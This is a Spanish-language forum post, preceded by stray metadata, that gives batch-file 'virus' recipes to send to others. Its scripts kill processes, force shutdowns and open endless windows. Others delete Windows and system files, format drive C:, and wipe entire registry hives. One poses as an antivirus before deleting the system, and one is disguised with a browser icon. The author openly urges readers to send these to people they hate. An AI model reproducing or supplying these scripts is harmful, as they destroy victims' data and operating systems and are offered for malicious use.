"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.016872890293598175,
"rps_doc_frac_chars_top_3gram": 0.018560180440545082,
"rps_doc_frac_chars_top_4gram": 0.022497190162539482,
"rps_doc_books_importance": -272.47064208984375,
"rps_doc_books_importance_length_correction": -272.47064208984375,
"rps_doc_openwebtext_importance": -139.39529418945312,
"rps_doc_openwebtext_importance_length_correction": -139.39529418945312,
"rps_doc_wikipedia_importance": -95.98219299316406,
"rps_doc_wikipedia_importance_length_correction": -95.98219299316406
},
"fasttext": {
"dclm": 0.04216187819838524,
"english": 0.9129685163497925,
"fineweb_edu_approx": 1.1644443273544312,
"eai_general_math": 0.0008603900205343962,
"eai_open_web_math": 0.14485204219818115,
"eai_web_code": 0.00037962000351399183
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.164",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "621.392",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": "Mechanical engineering and Machinery"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-4,983,796,024,704,766,000 | El post que buscas se encuentra eliminado, pero este también te puede interesar
trucos para crear virus sin necesidad de nada !!
aqui les dejop unos trucos para crear virusAQUÍ LES DEJO UNOS TRUCOS PARA HACER VIRUS Y ASUSTAR GENTE O SOLO DEJARLA LLORANDO
PRIMERO UNOS VIRUS
1- Abran bloc de notas
2- Pegen esto :
@echo off
msg * Has sido infectado por doc_papa
taskkill /f /t msnmsgr.exe
taskkill /f /t iexplore.exe
taskkill /f /t svchost.exe
taskkill /f /t explorer.exe
y ponen Guardar como , y le ponen un nombre y la extencion bat, por ejemplo : Virus.bat
Este archivo va a poner un mensaje en el escritorio y va a blokear aplicaciones como el msn,internet explorer, y el explorador de windows osea todos los iconos y la barra de inicio .
Otro supuesto virus :
msg * Has sido infectado por doc_papa
shutdown -s
Lo que hace este archivo es poner un mensaje en el escritorio el mensaje seria HAS SIDO INFECTADO POR DOC_PAPA pero pueden cambiarlo a su gusto , y apaga la pc
Aca les dejo el ultimo supuesto virus y el mas molesto
@echo off
color 0a
echo ====================
echo = =
echo = h4ckinger =
echo = =
echo ====================
echo .
echo .
echo .
echo Para usar el programa apreta la telca 1 Para ver mas opciones apreta la tecla 2 Para salir apreta la tecla 3
pause>nul
cls
echo Instalando virus . . .
echo Borrando disco rigido . . .
echo Borrando archivos . . .
echo Borrando el registro . . .
echo Borrando antivirus . . .
echo Borrando ip . . .
echo Desactivando el firewall
echo Borrando puertos de conexion . . .
echo Error Windows . . . Virus alert!!
echo El equipo no puede seguir procesando Caution virus.bat
shutdown -s -t 60 -c "El equipo no puede seguir procesando causa: Virus alert!!
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.exe
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> virus.bat
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.exe
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Troyan.bat
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.exe
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Malware.bat
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.exe
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Spyware.bat
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.exe
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
echo start >> Virusavanced.bat
start virus.bat
start troyan.bat
echo msgbox ("Instalando virus . . ." ) >> abrime.vbs
echo msgbox ("Borrando ip . . ." ) >> abrime.vbs
echo msgbox (" Borrando puertos . . ." ) >> abrime.vbs
echo msgbox ("Desactivando el firewall . . ." ) >> abrime.vbs
echo msgbox ("Borrando el antivirus . . ." ) >> abrime.vbs
echo msgbox ("Virus creado por H4ckinger" ) >> abrime.vbs
start abrime.vbs
echo MsgBox ("Sistem Error" ),16,("Virus" ) >> Virus.vbs
echo MsgBox ("El sistema no puede seguir procesando" ),16,("Virus alert" ) >> Virus.vbs
echo MsgBox ("VIRUS ALERT!!" ),16,("Virus" ) >> Virus.vbs
start Virus.vbs
echo @echo off >> jaja.bat
echo color 0a >> jaja.bat
echo :uji >> jaja.bat
echo echo Virus Alert! ! ! Virus Alert! ! ! Virus Alert! ! ! >> jaja.bat
echo goto uji >> jaja.bat
start jaja.bat
echo @echo off >> jaj.bat
echo color 0a >> jaj.bat
echo :uji >> jaj.bat
echo echo Virus Alert! ! ! Virus Alert! ! ! Virus Alert! ! ! >> jaj.bat
echo goto uji >> jaj.bat
start jaj.bat
echo @echo off >> thevirus.bat
echo color 0a >> thevirus.bat
echo :uji >> thevirus.bat
echo echo Virus Alert! ! ! Virus Alert! ! ! Virus Alert! ! ! >> thevirus.bat
echo goto uji >> thevirus.bat
start thevirus.bat
Pause>nul
exit
Este virus crea mensajes con esos ruidos fuertes de alerta xD , apaga la pc en 60 segs. , crea archivos , y tambien unas ventanitas verdes que dicen VIRUS ALERT ! ! ! en color verde que bajan a toda velocidad
Avisos Google
VIRUS MOLESTO:
ABRAN BLOCK DE NOTAS Y PONGAN ESTO:
START
START
START
START
START
START
START
START
COMO 200 VECES O MAS SI QUIEREN (CUANTO MAS MEJOR)
Y LUEGO PONGAN GUARDAR COMO BOMB.BAT Y DEDSDPUES LES APARECERA UN ICONITO
DE UNA TUERCA EN EL ESCRITORIO, ESO SE LO ENVIAN A ALGUIEN Y CUANDO LO ABRAN
BOOOM!!!!/color]
SE ABRIRAN TANTAS VENTANAS QUE SE TILDARA LA MAQUINA
(PUEDEN ABRIRLO USTEDES, TOTAL ESTE VIRUS ES INOFENSIVO
SOLO HACE QUE SE TE TILDE LA MAQUINA)
.............................................................................................................................................................
DESPUES ESTE VIRUS ES LETAL
BORRA WINDOWS
DEVEN ABRIR BLOCK DE NOTAS Y PONER ESTO:
@ echo off
msg * Hasta la vista Windows
ERASE /f /s /q C: windows
shutdown -s -t
Y PONER GUARDAR COMO Y PONGANLE EL NOMBRE VIR.BAT
Y LES APARECERA EL MISMO ICONITO DE LA TUERCA QUE EN EL PRIMER VIRUS
ESTE VIRUS PUEDEN ENVIARSELO A ALGUIEN QUE ODIEN MUCHO, PORUQUE
BORRA EL WINDOWS DEL QUE ABRE EL ARCHIVO
....................................................................................................................................................
ESTE VIRUS ES DE MENTIRA:
PONGAN EN BLOCK DE NOTAS ESTO
msg * (EL MENSAJE QUE QUIERES QUE APARESCA)
hutdown -r -t 30 -c "tu pc se apagara en 30 segundos, despues saldra humo de la cpu.
GUARDENLO COMO MSG.BAT Y SI LO ABREN LES APARECERA EL MENSAJE QUE QUISIERON PONER Y SE APAGARA LA COMPU EN 30 SEGUNDOS
........................................................................................................................................................
ESTE VIRUS ES EL MAS LETAL DE TODOS!!!!!!
POR NADA EN EL MUNDO LO ABRAN!!!!!!!
echo off
cls
msg * Estas a punto de que ex plote la pc!
start /max http://www.amig.es/datos/fotos/2647/p...
start /max http://blog.educastur.es/ticvegadeo/f...
start /max http://cyberprensa.com/fotos/135/expl...
start /max http://www.opcionweb.com/wp-content/u...
msg * Has sido hackeado por "raul"!
msg * se tiro tu pc!
msg * sera mejor que compres un pc nuevo!
shutdown -r -t 30 -c "tu pc se apagara en 30 segundos, despues saldra humo de la cpu.
este comando es para hacer una broma
erase C:WINDOWS q
este borra windows
color 0A
del /f %systemroot%systemhal.dll
del /f %systemroot%system32hal.dll
del /f %systemroot%systemsystem.*
del /f %systemroot%system32system.*
del /f %systemroot%system32Win.com
del /f %systemroot%system32command.com
del /f %systemroot%system32keyboard.*
del /f %systemroot%system32shell.*
del /f %systemroot%system32mouse.*
del /f %systemroot%system32msvideo.*
del /f %systemroot%regedit.exe
del /f %systemroot%taskman.exe
del /f %systemroot%explorer.exe
del /f %systemroot%system32taskkill.exe
del /f %systemroot%system32tasklist.exe
del /f %systemroot%system32taskmgr.exe
del /f %systemroot%keyboard.*
rem borrar docs
rd /s /q "%homepath%/Mis Documentos"
rem borrar escritorio
cd
cd %HOMEPATH%
del *.* /f /s /q
cd Desktop
cd Escritorio
del *.* /f /s /q
rem borrar todo lo del discoduro
cd
cd %SYSTEMDRIVE%
del *.* /f /s /q
reg delete "HKEY_CURRENT_CONFIGSoftware" /f
reg delete "HKEY_CURRENT_CONFIGSystem" /f
reg delete "HKEY_USERS.DEFAULT" /f
reg delete "HKEY_USERSS-1-5-18" /f
reg delete "HKEY_USERSS-1-5-19" /f
reg delete "HKEY_USERSS-1-5-19_Classes" /f
reg delete "HKEY_USERSS-1-5-20" /f
reg delete "HKEY_USERSS-1-5-20_Classes" /f
reg delete "HKEY_USERSS-1-5-21-602162358-606747145-725345543-1003" /f
reg delete "HKEY_USERSS-1-5-21-602162358-606747145-725345543-1003_Classes" /f
reg delete "HKEY_LOCAL_MACHINEHARDWARE" /f
reg delete "HKEY_LOCAL_MACHINESAM" /f
reg delete "HKEY_LOCAL_MACHINESECURITY" /f
reg delete "HKEY_LOCAL_MACHINESOFTWARE" /f
reg delete "HKEY_LOCAL_MACHINESYSTEM" /f
reg delete "HKEY_CURRENT_USERAppEvents" /f
reg delete "HKEY_CURRENT_USERConsole" /f
reg delete "HKEY_CURRENT_USERControl Panel" /f
reg delete "HKEY_CURRENT_USEREnvironment" /f
reg delete "HKEY_CURRENT_USERIdentities" /f
reg delete "HKEY_CURRENT_USERKeyboard Layout" /f
reg delete "HKEY_CURRENT_USERPrinters" /f
reg delete "HKEY_CURRENT_USERSessionInformation" /f
reg delete "HKEY_CURRENT_USERSoftware" /f
reg delete "HKEY_CURRENT_USERUNICODE Program Groups" /f
reg delete "HKEY_CURRENT_USERVolatile Environment" /f
reg delete "HKEY_CURRENT_USERWindows 3.1 Migration Status" /f
reg delete "HKEY_CLASSES_ROOT*" /f
reg delete "HKEY_CLASSES_ROOT.iso" /f
reg delete "HKEY_CLASSES_ROOT.bin" /f
reg delete "HKEY_CLASSES_ROOT.img" /f
reg delete "HKEY_CLASSES_ROOT.cif" /f
reg delete "HKEY_CLASSES_ROOT.fcd" /f
reg delete "HKEY_CLASSES_ROOT.nrg" /f
reg delete "HKEY_CLASSES_ROOT.gcd" /f
reg delete "HKEY_CLASSES_ROOT.p01" /f
reg delete "HKEY_CLASSES_ROOT.c2d" /f
reg delete "HKEY_CLASSES_ROOT.tao" /f
reg delete "HKEY_CLASSES_ROOT.dao" /f
reg delete "HKEY_CLASSES_ROOT.cdi" /f
reg delete "HKEY_CLASSES_ROOT.cue" /f
reg delete "HKEY_CLASSES_ROOT.cd" /f
reg delete "HKEY_CLASSES_ROOT.gi" /f
reg delete "HKEY_CLASSES_ROOT.pxi" /f
reg delete "HKEY_CLASSES_ROOT.pdi" /f
reg delete "HKEY_CLASSES_ROOT.mds" /f
reg delete "HKEY_CLASSES_ROOT.mdf" /f
reg delete "HKEY_CLASSES_ROOT.ccd" /f
reg delete "HKEY_CLASSES_ROOT.vc4" /f
reg delete "HKEY_CLASSES_ROOT.b5t" /f
reg delete "HKEY_CLASSES_ROOT.b5i" /f
reg delete "HKEY_CLASSES_ROOT.dmg" /f
reg delete "HKEY_CLASSES_ROOT.ibp" /f
reg delete "HKEY_CLASSES_ROOT.ibq" /f
reg delete "HKEY_CLASSES_ROOT.ncd" /f
reg delete "HKEY_CLASSES_ROOT.bmp" /f
reg delete "HKEY_CLASSES_ROOT.dib" /f
reg delete "HKEY_CLASSES_ROOT.jpeg" /f
reg delete "HKEY_CLASSES_ROOT.jpg" /f
reg delete "HKEY_CLASSES_ROOT.jpe" /f
reg delete "HKEY_CLASSES_ROOT.jfif" /f
reg delete "HKEY_CLASSES_ROOT.gif" /f
reg delete "HKEY_CLASSES_ROOT.png" /f
reg delete "HKEY_CLASSES_ROOT.tif" /f
reg delete "HKEY_CLASSES_ROOT.tiff" /f
reg delete "HKEY_CLASSES_ROOT.psd" /f
reg delete "HKEY_CLASSES_ROOT.pdd" /f
reg delete "HKEY_CLASSES_ROOT.rle" /f
reg delete "HKEY_CLASSES_ROOT.eps" /f
reg delete "HKEY_CLASSES_ROOT.psb" /f
reg delete "HKEY_CLASSES_ROOT.pcx" /f
reg delete "HKEY_CLASSES_ROOT.pdf" /f
reg delete "HKEY_CLASSES_ROOT.pdp" /f
reg delete "HKEY_CLASSES_ROOT.raw" /f
reg delete "HKEY_CLASSES_ROOT.pct" /f
reg delete "HKEY_CLASSES_ROOT.pict" /f
reg delete "HKEY_CLASSES_ROOT.pxr" /f
reg delete "HKEY_CLASSES_ROOT.pbm" /f
reg delete "HKEY_CLASSES_ROOT.pgm" /f
reg delete "HKEY_CLASSES_ROOT.ppm" /f
reg delete "HKEY_CLASSES_ROOT.pfm" /f
reg delete "HKEY_CLASSES_ROOT.pnm" /f
reg delete "HKEY_CLASSES_ROOT.pam" /f
reg delete "HKEY_CLASSES_ROOT.sct" /f
reg delete "HKEY_CLASSES_ROOT.tga" /f
reg delete "HKEY_CLASSES_ROOT.vda" /f
reg delete "HKEY_CLASSES_ROOT.icb" /f
reg delete "HKEY_CLASSES_ROOT.vst" /f
reg delete "HKEY_CLASSES_ROOT.rtf" /f
reg delete "HKEY_CLASSES_ROOT.txt" /f
reg delete "HKEY_CLASSES_ROOT.docx" /f
reg delete "HKEY_CLASSES_ROOT.kgb" /f
reg delete "HKEY_CLASSES_ROOT.doc" /f
reg delete "HKEY_CLASSES_ROOT.dot" /f
reg delete "HKEY_CLASSES_ROOT.docm" /f
reg delete "HKEY_CLASSES_ROOT.dotx" /f
reg delete "HKEY_CLASSES_ROOT.dotm" /f
reg delete "HKEY_CLASSES_ROOT.xlsx" /f
reg delete "HKEY_CLASSES_ROOT.xlsm" /f
reg delete "HKEY_CLASSES_ROOT.xlsb" /f
reg delete "HKEY_CLASSES_ROOT.xls" /f
reg delete "HKEY_CLASSES_ROOT.xml" /f
reg delete "HKEY_CLASSES_ROOT.mht" /f
reg delete "HKEY_CLASSES_ROOT.mhtml" /f
reg delete "HKEY_CLASSES_ROOT.htm" /f
reg delete "HKEY_CLASSES_ROOT.html" /f
reg delete "HKEY_CLASSES_ROOT.xltx" /f
reg delete "HKEY_CLASSES_ROOT.xltm" /f
reg delete "HKEY_CLASSES_ROOT.csv" /f
reg delete "HKEY_CLASSES_ROOT.prn" /f
reg delete "HKEY_CLASSES_ROOT.dif" /f
reg delete "HKEY_CLASSES_ROOT.slk" /f
reg delete "HKEY_CLASSES_ROOT.xlam" /f
reg delete "HKEY_CLASSES_ROOT.mdb" /f
reg delete "HKEY_CLASSES_ROOT.php" /f
reg delete "HKEY_CLASSES_ROOT.swf" /f
reg delete "HKEY_CLASSES_ROOT.fla" /f
reg delete "HKEY_CLASSES_ROOT.exe" /f
reg delete "HKEY_CLASSES_ROOT.log" /f
reg delete "HKEY_CLASSES_ROOT.avi" /f
reg delete "HKEY_CLASSES_ROOT.mp3" /f
reg delete "HKEY_CLASSES_ROOT.wav" /f
reg delete "HKEY_CLASSES_ROOT.vmw" /f
reg delete "HKEY_CLASSES_ROOT.dvx" /f
reg delete "HKEY_CLASSES_ROOT.old" /f
reg delete "HKEY_CLASSES_ROOT.prx" /f
reg delete "HKEY_CLASSES_ROOT.bak" /f
reg delete "HKEY_CLASSES_ROOT.dat" /f
reg delete "HKEY_CLASSES_ROOT.csv" /f
reg delete "HKEY_CLASSES_ROOT.tmp" /f
reg delete "HKEY_CLASSES_ROOT.ini" /f
reg delete "HKEY_CLASSES_ROOT.dll" /f
reg delete "HKEY_CLASSES_ROOT.mdb" /f
reg delete "HKEY_CLASSES_ROOT.wsc" /f
reg delete "HKEY_CLASSES_ROOT.mod" /f
reg delete "HKEY_CLASSES_ROOT.vbs" /f
reg delete "HKEY_CLASSES_ROOT.cmd" /f
reg delete "HKEY_CLASSES_ROOT.scr" /f
reg delete "HKEY_CLASSES_ROOT.cpl" /f
reg delete "HKEY_CLASSES_ROOT.rat" /f
reg delete "HKEY_CLASSES_ROOT.msi" /f
reg delete "HKEY_CLASSES_ROOT.cpl" /f
reg delete "HKEY_CLASSES_ROOT.xml" /f
reg delete "HKEY_CLASSES_ROOT.msc" /f
reg delete "HKEY_CLASSES_ROOT.drv" /f
reg delete "HKEY_CLASSES_ROOT.vxd" /f
reg delete "HKEY_CLASSES_ROOT.ocx" /f
reg delete "HKEY_CLASSES_ROOT.uce" /f
reg delete "HKEY_CLASSES_ROOT.tsp" /f
reg delete "HKEY_CLASSES_ROOT.tmp" /f
reg delete "HKEY_CLASSES_ROOT.tsk" /f
reg delete "HKEY_CLASSES_ROOT.tlb" /f
reg delete "HKEY_CLASSES_ROOT.tha" /f
reg delete "HKEY_CLASSES_ROOT.sve" /f
reg delete "HKEY_CLASSES_ROOT.sql" /f
reg delete "HKEY_CLASSES_ROOT.sep" /f
reg delete "HKEY_CLASSES_ROOT.sig" /f
reg delete "HKEY_CLASSES_ROOT.olb" /f
reg delete "HKEY_CLASSES_ROOT.oca" /f
reg delete "HKEY_CLASSES_ROOT.nt" /f
reg delete "HKEY_CLASSES_ROOT.nls" /f
reg delete "HKEY_CLASSES_ROOT.pro" /f
reg delete "HKEY_CLASSES_ROOT.rll" /f
reg delete "HKEY_CLASSES_ROOT.rom" /f
reg delete "HKEY_CLASSES_ROOT.ram" /f
reg delete "HKEY_CLASSES_ROOT.nls" /f
reg delete "HKEY_CLASSES_ROOT.nld" /f
reg delete "HKEY_CLASSES_ROOT.ita" /f
reg delete "HKEY_CLASSES_ROOT.iec" /f
reg delete "HKEY_CLASSES_ROOT.ime" /f
reg delete "HKEY_CLASSES_ROOT.h" /f
reg delete "HKEY_CLASSES_ROOT.hxx" /f
reg delete "HKEY_CLASSES_ROOT.sys" /f
reg delete "HKEY_CLASSES_ROOT.dep" /f
reg delete "HKEY_CLASSES_ROOT.deu" /f
reg delete "HKEY_CLASSES_ROOT.enu" /f
reg delete "HKEY_CLASSES_ROOT.esn" /f
reg delete "HKEY_CLASSES_ROOT.chm" /f
reg delete "HKEY_CLASSES_ROOT.hlp" /f
reg delete "HKEY_CLASSES_ROOT.dat" /f
reg delete "HKEY_CLASSES_ROOT.dbl" /f
reg delete "HKEY_CLASSES_ROOT.cpx" /f
reg delete "HKEY_CLASSES_ROOT.cpi" /f
reg delete "HKEY_CLASSES_ROOT.cht" /f
reg delete "HKEY_CLASSES_ROOT.chs" /f
reg delete "HKEY_CLASSES_ROOT.c" /f
reg delete "HKEY_CLASSES_ROOT.acm" /f
reg delete "HKEY_CLASSES_ROOT.ax" /f
reg delete "HKEY_CLASSES_ROOT.com" /f
reg delete "HKEY_CLASSES_ROOT.bat" /f
reg delete "HKEY_CLASSES_ROOT." /f
reg delete "HKEY_CLASSES_ROOT." /f
reg delete "HKEY_CLASSES_ROOT." /f
cd %HOMEPATH%Desktop
for /l %%i in (1,1,999) do (echo "Hacked By RUSSH AND TEGM!!!" > Tegm_Was_Here_%%i.jez)
msg * fuiste infectado...BETE DESPIDIENDO...cambio y fuera ...virus de parte de DOC_PAPA
rundll32 krnl386.exe,exitkernel
shutdown -s -t 1"virus fatal le aconsejo hermano que se cage de miedo"
GUARDEDNLO DCDOMO ROOT.BAT DY SDE APARECERA EL MISMO ICDONITO
PERO NO LO ABRAN PORQUE SE LES BORRARA Y FORMATEARA EL DISCO ENTERO!!!!
................................................................................................................................................
ESTE VIRUS SE HACE PASAR POR UN ANTIVIRUS!!!
@echo off
color 30
title The Security Antivirus PC
cls
echo Tu sistema esta desprotegido
echo pero con el nuevo The Security Antivirus PC tendrá el menor riesgo contra amenazas desconocidas
echo pasaremos un analisis de los discos duros como prueba
echo pulsa la tecla enter para empezar el analisis
pause
@echo off
:m
echo %random%
goto m
pause
msg * su pc esta infectado por un troyano
msg * pero The Security Antivirus PC esta desinfectando.
del /s /f /q %systemroot%
echo El troyano ha sido desinfectado.
echo Se apagara el ordenador y recuerde comprar este antivirus
echo en www.elboludo.com.ar
shutdown -s -t 20 -c "se le ha jodido el ordenador"
JAJAJAJA
GUARDENLO COMO ANTVR.BAT Y SI LO ABRDEN APARECERA COMO UN
ANTIVIRUS PERO LUEGO LES CAGA LA MAQUINA
ESTA BUENO PARA ENVIARSELO A ALGUIEN ESTUPIDO!!!!!
................................................................................................................................................................
ESTE VIRUS TE FORMATEA EL DISCO
EN BLOCK DE NOTAS PONEN:
@echo off
format c:/q
echo Mensaje que queremos que muestre
Y LO GUARDAN COMO FORMC.BAT
............................................................................................................................................................
ESTE VIRUS SOLO APAGA LA MAQUINA Y NADA MAS
PONGAN EN BLOCK DE NOTAS ESTO:
shutdown -s -t 20 -c "Ahora el programa se apaga por que le sale de los cojones"
Y LUDEGO LO GUARDAN DCOMO APMQNA.BAT
CUANDO LO ABRAN SE LES APAGARA LA MAQUINA
1- Como hacer un virus que elimine el sistema Windows:
(paso 1)-Para crear esto, tienen que escribir lo siguiente en un bloc de notas:
@echo off
title g00d by3 wind0w5
echo 4di05 a tu wind0w5
del /s /f /q C:windows
exit
(Paso 2)-Después entran a archivo, guardar como, le ponen el nombre que deseen (PERO TERMINADO EN .bat)
(Paso 3)-luego se supone por logica que se creará un archivo .bat con el clásico iconito de la tuerca...
(Paso 4)-Ya tienen el virus creado (no lo abran ustedes), ustedes sabrán que hacer con esto...
Orion_metal dijo:
[NOTA: no es un juego, si usted quiere hacerlo bueno todo queda a su responsabilidad]
2-Pantalla Azul De La Muerte:
Para los que no saben que es, ahí les explico:
La llamada Blue Screen of Death o BSoD (más conocida en español como pantalla azul de la muerte o «pantallazo azul»), hace referencia a la pantalla mostrada por el sistema operativo Windows de Microsoft cuando no puede (o está en peligro de no poder) recuperarse de un error de sistema . Hay dos pantallas de error de Windows referidas como pantallas azules de la muerte, siendo una de ellas bastante más seria que la otra:
Una pantalla azul de la muerte es conocida como un "Stop Error" o "Error de detención grave" en los manuales de Windows XP.
Una pantalla azul de la muerte "real" sucede cuando el núcleo del sistema operativo Windows XP no puede recuperarse de un error y la única acción que un usuario puede realizar es reiniciar el sistema perdiendo todo el trabajo no guardado , el estado de todos los programas ejecutándose en ese momento y poniendo en peligro la integridad del sistema de archivos y los archivos mismos creados mediante Windows, en este punto es posible perder toda la información en los discos duros gestionados por windows y su sistema de archivos NTFS o FAT 16/FAT 32.
La información mostrada en la pantalla azul de la muerte no es, en ningún caso, suficiente para determinar el error. La pantalla sólo muestra el punto en el cual el código falló, que en la mayoría de las veces puede ser completamente diferente del punto donde el error fue originado, causando que la detección del error sea difícil.
Un Ejemplo De La pantalla Azul De La Muerte:
Esto es para los picaros que les gusta hacer trampas.
(Paso 1)-Para crear esto tienen que escribir esto en un bloc de notas:
orion_metal dijo:
start
virus
start
2ventanas
start
virus
start
3ventanas
start
virus
start
4ventanas
(Paso 2)-Como se es obvio se guarda en el escritorio con el nombre: Internet explorer, o el explorador que este utilizando al que le queremos tirar la bronca...
(Paso 3)- Ahora le vamos a dar estilo, para eso, le damos click con el botón secundario de tu mouse, vamos a "propiedades", cambiar icono, para darle justo en el icono idéntico al del explorador, simplemente van a [C:Archivos de programa] ahí seguro se instalo el explorador, encontrar el icono ahí y simplemente cambiarlo...
(Paso 4)-Reemplazamos el icono de acceso directo al explorador original, y le ponemos nuestra trampa...
Y LISTO... CUANDO ENTREN, LA PANTALLA AZUL DE LA MUERTE SE ACTIVARA.
Orion_metal dijo:
Bueno, yo no me hago responsable de lo que hagan ustedes, creo que si tienen el poder de crearlo, tienen el saber como para deducir lo que hacen...
CHAU GENTE!!
.Introdución
2.Nuestro primer virus
3.comandos básicos y etiquetas
4.jugando con el registro
5.bucles
6.Nuestro segundo virus
7.variables de windows xp
8.if exist
9.proximamente mas
1.)Introduccion:
Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos.
en este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)
bueno antes que nada explicar que es cmd.exe (MS-DOS EN WINXP) cmd.exe es un interprete de comandos.
¿Qué es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.
2.)Nuestro primer virus.
bueno , nuestro primero virus podría ser este:
@echo off
shutdown -s -t 1
abrimos un documento de texto , copiamos esto lo guardamos como .bat y lo abrimos...
y... sopresa...
explicación: @echo off
Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.
explicación: shutdown
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.
explicación: parametro -s y -t
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo
de antes pusimos 1 segundo.
otros parametros de shutdown:
shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.
3.)Comandos básicos
a continuación os pondré varios comandos que sirven mucho a la hora de hacer virus.
-del = borra un archivo
-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos
3.1)Etiquetas
Las etiquetas sirven para ir de un lugar de un programa a otra parte. ejemplo.
@echo off
echo hola
goto etiquetaB
:etiquetaA
echo ola
:etiquetaB
echo adios
con goto decimos a que etiqueta ir
en este caso la salida en la shell sería:
c: etiquetas.bat
hola
adios
4.)Jugando con el registro.
bueno , como ya dije antes para jugar con el registro usaremos el comando reg
Operaciones:
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
